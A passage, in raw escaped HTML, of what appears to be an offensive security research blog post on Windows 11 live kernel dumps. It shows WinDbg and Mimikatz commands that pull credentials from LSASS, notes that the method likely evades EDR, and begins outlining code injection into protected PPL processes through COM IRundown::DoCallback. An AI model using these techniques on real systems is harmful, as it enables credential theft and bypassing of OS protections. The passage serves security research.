class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nf&#34;&gt;DbgPrintEx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;DBGK: Full Live Kernel Dumps are disabled. Failing request.&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;STATUS_CONTENT_BLOCKED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;IsFeatureEnabled&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;Feature_LivedumpProcessFiltering__private_IsEnabled&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsFeatureEnabled&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PreviousMode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39;\x01&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;param_1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0xe&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KdPitchDebugger&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39;\0&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KdLocalDebugEnabled&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;sc&#34;&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;STATUS_DEBUGGER_INACTIVE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A new check for a feature named &lt;code&gt;LivedumpProcessFiltering&lt;/code&gt; is present in the Windows 11 version, which permits the capture of user-mode pages in the dump.&#xA;Previously, this fonction was restricted to drivers, or system with debugging enabled.&lt;/p&gt;&#xA;&lt;p&gt;A check for the &lt;code&gt;SeDebugPrivilege&lt;/code&gt; is still required to call this syscall from userland.&lt;/p&gt;&#xA;&lt;p&gt;This ability to create kernel dump with user-mode pages is actually used by the Task Manager, and has been published in a Microsoft &lt;a href=&#34;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/task-manager-live-dump&#34;&gt;article&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;dumping-lsass&#34;&gt;Dumping LSASS&lt;/h2&gt;&#xA;&lt;p&gt;The first offensive use case for this feature is to use this dump to read memory pages inside &lt;code&gt;lsass.exe&lt;/code&gt; (regardless of whether &lt;code&gt;RunAsPPL&lt;/code&gt; is configured for &lt;code&gt;lsass.exe&lt;/code&gt;), to retrieve credentials for active Logon Sessions.&lt;/p&gt;&#xA;&lt;p&gt;This is already implemented in Mimikatz&amp;rsquo;s plugin for WinDbg:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; .load C:\\path\\to\\mimilib.dll&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  .#####.   mimikatz 2.2.0 (x64) built on Aug 10 2021 02:01:09&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; .## ^ ##.  &amp;#34;A La Vie, A L&amp;#39;Amour&amp;#34; - Windows build 22631&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ## / \ ##  /* * *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; &amp;#39;## v ##&amp;#39;   https://blog.gentilkiwi.com/mimikatz             (oe.eo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &amp;#39;#####&amp;#39;                                  WinDBG extension ! * * */&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;===================================&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;#         * Kernel mode *         #&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;===================================&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;# Search for LSASS process&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; !process 0 0 lsass.exe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;# Then switch to its context&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; .process /r /p &amp;lt;EPROCESS address&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;# And finally :&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; !mimikatz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;===================================&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;#          * User mode *          #&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;===================================&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:000&amp;gt; !mimikatz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;===================================&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; !process 0 0 lsass.exe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;PROCESS ffffa1834530d080&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    SessionId: 0  Cid: 0574    Peb: b9abf5a000  ParentCid: 0508&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    DirBase: 018a8000  ObjectTable: ffff910463f91680  HandleCount: 1267.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Image: lsass.exe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Page 3eb169 not present in the dump file. Type &amp;#34;.hh dbgerr004&amp;#34; for details&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; .process /r /p  ffffa1834530d080&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Implicit process is now ffffa183`4530d080&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Loading User Symbols&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;................................................................&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;.....................&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; !mimikatz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;SekurLSA&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;========&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;[...]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;msv : &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9; [00000003] Primary&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9; * Username : Administrator&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9; * Domain   : DOMAIN&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9; * NTLM     : &amp;lt;NT_HASH&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This method is unlikely to raise any EDR detection, since this does not rely on traditionnal code injection/cross-process memory reads: no handle to &lt;code&gt;lsass.exe&lt;/code&gt; is required.&lt;/p&gt;&#xA;&lt;p&gt;Credentials will only be retrieved on systems with &lt;em&gt;Credential Guard&lt;/em&gt; disabled. (Shoutout to Antonio Cocomazzi to who also &lt;a href=&#34;https://x.com/splinter_code/status/1785359393246138555&#34;&gt;tweeted&lt;/a&gt; about this new feature a few weeks ago!)&lt;/p&gt;&#xA;&lt;h1 id=&#34;code-injection&#34;&gt;Code injection&lt;/h1&gt;&#xA;&lt;p&gt;While the ability to dump &lt;code&gt;lsass.exe&lt;/code&gt; is useful on its own, I wanted to see if I could leverage this to gain code execution within a &lt;em&gt;PPL&lt;/em&gt; process, ideally running at the highest level, &lt;em&gt;Win-TCB&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There are several offensive use cases to getting actual code execution within a &lt;em&gt;PPL&lt;/em&gt;. The first one, as demonstrated by &lt;a href=&#34;https://github.com/realoriginal/angryorchard&#34;&gt;&lt;code&gt;angryorchard&lt;/code&gt;&lt;/a&gt;, is the ability to get an arbitrary kernel pointer decrement, if you can inject code into the &lt;code&gt;csrss.exe&lt;/code&gt; process, which runs at the &lt;em&gt;PPL-WinTCB&lt;/em&gt; level.&#xA;While the ability to decrement the &lt;code&gt;PreviousMode&lt;/code&gt; value will &lt;a href=&#34;https://twitter.com/GabrielLandau/status/1597001955909697536&#34;&gt;reportedly&lt;/a&gt; be mitigated in a future Windows version, this primitive probably can be leveraged in some other ways, crossing the admin-to-kernel boundary.&lt;/p&gt;&#xA;&lt;p&gt;On systems with &lt;em&gt;Credentials Guard&lt;/em&gt; enabled, being able to inject code inside &lt;code&gt;lsass.exe&lt;/code&gt; can help &lt;a href=&#34;https://research.ifcr.dk/pass-the-challenge-defeating-windows-defender-credential-guard-31a892eee22&#34;&gt;retrieve NetNTLMv1 hashes&lt;/a&gt;, and can also be used to &lt;a href=&#34;https://github.com/outflanknl/C2-Tool-Collection/tree/main/BOF/WdToggle&#34;&gt;reactivate&lt;/a&gt; &lt;em&gt;Wdigest&lt;/em&gt;, which will capture credentials in cleartext, and not within &lt;a href=&#34;https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/vsm&#34;&gt;VTL1&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This can also be used to tamper with EDR usermode processes, which usually run at the &lt;em&gt;PPL-ELAM&lt;/em&gt; level.&lt;/p&gt;&#xA;&lt;p&gt;For the rest of this blogpost, the focus will be on injecting code inside the &lt;code&gt;services.exe&lt;/code&gt; process, which runs as &lt;em&gt;PPL&lt;/em&gt;, at the &lt;em&gt;WinTCB&lt;/em&gt; level, which is the highest level.&lt;/p&gt;&#xA;&lt;h2 id=&#34;existing-techniques-and-history&#34;&gt;Existing techniques and history&lt;/h2&gt;&#xA;&lt;p&gt;As far as I know, there has been 3 public tools that resulted in code execution within a &lt;em&gt;PPL&lt;/em&gt; process. These are &lt;a href=&#34;https://github.com/itm4n/PPLdump&#34;&gt;PPLdump&lt;/a&gt;, &lt;a href=&#34;https://github.com/itm4n/PPLmedic&#34;&gt;PPLmedic&lt;/a&gt;, and &lt;a href=&#34;https://github.com/gabriellandau/PPLFault&#34;&gt;PPLFault&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;PPLFault abused a time-of-check/time-of-use vulnerability in the verification of the signature of DLL that are mapped inside &lt;em&gt;PPL&lt;/em&gt; processes. I would recommend watching the &lt;a href=&#34;https://www.youtube.com/watch?v=5xteW8Tm410&#34;&gt;presentation&lt;/a&gt;, which contains addition context about others attacks on &lt;em&gt;PPL&lt;/em&gt; processes.&lt;/p&gt;&#xA;&lt;p&gt;The main flaw abused by the other two, was first reported in &lt;a href=&#34;http://publications.alex-ionescu.com/Recon/Recon%202018%20-%20Unknown%20Known%20DLLs%20and%20other%20code%20integrity%20trust%20violations.pdf&#34;&gt;this&lt;/a&gt; presentation, is how the signature verification works when loading a DLL inside a &lt;em&gt;PPL&lt;/em&gt; process.&#xA;When a DLL is loaded from disk, &lt;code&gt;NtCreateSection&lt;/code&gt; is first called with &lt;code&gt;SEC_IMAGE&lt;/code&gt;, and the resulting section object is then mapped via &lt;code&gt;NtMapViewOfSection&lt;/code&gt;. However, the signature verification only occurs when &lt;code&gt;NtCreateSection&lt;/code&gt; is called, and &lt;em&gt;not&lt;/em&gt; when the section is mapped within the process.&lt;/p&gt;&#xA;&lt;p&gt;This was mainly abused through the &lt;code&gt;KnownDll&lt;/code&gt; mechanism, which is a cache containing section objects of commonly used DLL. When such a DLL is loaded within a process, the section object is first opened via &lt;code&gt;NtOpenSection&lt;/code&gt;, and then mapped by calling &lt;code&gt;NtMapViewOfSection&lt;/code&gt;. This means that the signature verification process is bypassed. And although a non &lt;em&gt;PLL&lt;/em&gt; cannot directly add a section object of a DLL in &lt;code&gt;KnownDLLs&lt;/code&gt;, it is possible to trick &lt;code&gt;csrss.exe&lt;/code&gt; to add it for us - &lt;code&gt;csrss.exe&lt;/code&gt; runs at &lt;em&gt;PPL-WinTCB&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To mitigate these, Microsoft implemented two things. First, &lt;code&gt;ntdll!LdrpKnownDllDirectoryHandle&lt;/code&gt;, which holds a handle to &lt;code&gt;KnownDll&lt;/code&gt; inside a normal process, is now unintialized by default inside PPL processes, and has been moved inside the &lt;code&gt;.mrdata&lt;/code&gt; section. This section is read-only most of the time, and when a variable within this section needs to be changed, &lt;code&gt;LdrProtectMrdata&lt;/code&gt; is called to toggle the memory permissions of the &lt;code&gt;.mrdata&lt;/code&gt; section, make the change, and then toggled back.&lt;/p&gt;&#xA;&lt;p&gt;Looking at a memory dump of a PPL process, we can see the following, which confirms the mitigations are present:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:000&amp;gt; !address ntdll!LdrpKnownDllDirectoryHandle&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Usage:                  Image&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Base Address:           00007ffc`ebddb000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;End Address:            00007ffc`ebe66000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Region Size:            00000000`0008b000 ( 556.000 kB)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;State:                  00001000          MEM_COMMIT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Protect:                00000002          PAGE_READONLY&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Type:                   01000000          MEM_IMAGE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Allocation Base:        00007ffc`ebc50000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Allocation Protect:     00000080          PAGE_EXECUTE_WRITECOPY&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Image Path:             ntdll.dll&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Module Name:            ntdll&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Loaded Image Name:      C:\Windows\SYSTEM32\ntdll.dll&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Mapped Image Name:      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;More info:              lmv m ntdll&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;More info:              !lmi ntdll&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;More info:              ln 0x7ffcebdea2b0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;More info:              !dh 0x7ffcebc50000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:000&amp;gt; dp ntdll!LdrpKnownDllDirectoryHandle&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00007ffc`ebdea2b0  00000000`00000000 00000000`00000000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aside from these tools, James Forshaw published an &lt;a href=&#34;https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html&#34;&gt;article&lt;/a&gt; which demonstrated how to use COM remoting to overwrite &lt;code&gt;ntdll!LdrpKnownDllDirectoryHandle&lt;/code&gt; with a valid handle to then load into a &lt;em&gt;Protect Process&lt;/em&gt; an unsigned DLL, using the mechanism described above (at the time, &lt;code&gt;ntdll!LdrpKnownDllDirectoryHandle&lt;/code&gt; was not placed inside the &lt;code&gt;.mrdata&lt;/code&gt; section).&lt;/p&gt;&#xA;&lt;p&gt;This technique was later described in details in MDSec&amp;rsquo;s &lt;a href=&#34;https://www.mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/&#34;&gt;blog&lt;/a&gt;, and implemented in a &lt;a href=&#34;https://github.com/mdsecactivebreach/com_inject/tree/main&#34;&gt;proof of concept&lt;/a&gt; to inject code into a remote process.&lt;/p&gt;&#xA;&lt;p&gt;The short version is, if you can read the target process&amp;rsquo;s COM secret and context, as well as the &lt;em&gt;IPID&lt;/em&gt; of the &lt;code&gt;IRundown&lt;/code&gt; interface within the target process, it is possible to remotely invoke the &lt;code&gt;IRundown::DoCallback&lt;/code&gt; method within the &lt;em&gt;PPL&lt;/em&gt; process. This method takes a &lt;code&gt;XAptCallback&lt;/code&gt; structure as an argument, which holds a function pointer to invoke in the remote process, as well as single argument to pass to the function. The function pointer is validated by &lt;em&gt;Control Flow Guard (CFG)&lt;/em&gt;, so it can&amp;rsquo;t be any pointer.&lt;/p&gt;&#xA;&lt;h2 id=&#34;getting-arbitrary-function-call&#34;&gt;Getting arbitrary function call&lt;/h2&gt;&#xA;&lt;p&gt;Since we can read the memory of the usermode pages of a &lt;em&gt;PPL&lt;/em&gt; process such as &lt;code&gt;services.exe&lt;/code&gt; through the livedump generated by &lt;code&gt;NtSystemDebugControl&lt;/code&gt;, the exploitation of &lt;code&gt;IRundown::DoCallback&lt;/code&gt; is possible.&lt;/p&gt;&#xA;&lt;p&gt;However, whereas the COM process secret and context of &lt;code&gt;services.exe&lt;/code&gt; was always present within the dump, the &lt;em&gt;IPID&lt;/em&gt; was rarely present - most likely due to being paged out (I haven&amp;rsquo;t investigated the reason why).&#xA;To avoid this issue, it is possible to read the memory of the &lt;code&gt;RPCSS&lt;/code&gt; service, which maintains a list of all &lt;em&gt;IPID&lt;/em&gt; on a machine, since it is responsible for dispatching remote &lt;em&gt;COM&lt;/em&gt; calls to the appropriate process where the actual object lives. &lt;code&gt;RPCSS&lt;/code&gt; does not run as &lt;em&gt;PPL&lt;/em&gt;, so it is possible to directly use &lt;code&gt;ReadProcessMemory&lt;/code&gt; - it could also be parsed from the memory dump.&lt;/p&gt;&#xA;&lt;p&gt;With this, it&amp;rsquo;s possible to call any CFG-valid target, with a single argument within &lt;code&gt;services.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;getting-an-arbitrary-memory-write&#34;&gt;Getting an arbitrary memory write&lt;/h2&gt;&#xA;&lt;p&gt;In his writeup, James Forshaw uses this primitive to call &lt;code&gt;SetProcessDefaultLayout&lt;/code&gt; and &lt;code&gt;GetProcessDefaultLayout&lt;/code&gt;, to overwrite &lt;code&gt;LdrpKnownDllDirectoryHandle&lt;/code&gt; with a valid handle value.&lt;/p&gt;&#xA;&lt;p&gt;Since it&amp;rsquo;s not possible anymore to directly overwrite &lt;code&gt;ntdll!LdrpKnownDllDirectoryHandle&lt;/code&gt;, I&amp;rsquo;ll try to get the ability to call any function, without limitation for the arguments. And for that, an arbitrary write will make it much easier.&lt;/p&gt;&#xA;&lt;p&gt;The combination of &lt;code&gt;GetProcessDefaultLayout&lt;/code&gt; and &lt;code&gt;SetProcessDefaultLayout&lt;/code&gt; only writes a value in the form of &lt;code&gt;0x0?0?0?0?&lt;/code&gt;, which isn&amp;rsquo;t so easy to manipulate, so I searched for other APIs.&lt;/p&gt;&#xA;&lt;p&gt;Instead of searching for a function that would let me precisely control the value written, I looked for arbitrary increment.&lt;/p&gt;&#xA;&lt;p&gt;Looking for a &amp;ldquo;AddRef&amp;rdquo; function was fruitful. I settled on &lt;code&gt;combase!CStdStubBuffer_AddRef&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:017&amp;gt; uf combase!CStdStubBuffer_AddRef&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;combase!CStdStubBuffer_AddRef [onecore\com\combase\ndr\ndrole\stub.cxx @ 878]:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  878 00007ff9`31d4e580 b801000000      mov     eax,1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  880 00007ff9`31d4e585 f00fc14108      lock xadd dword ptr [rcx+8],eax&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  880 00007ff9`31d4e58a ffc0            inc     eax&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span 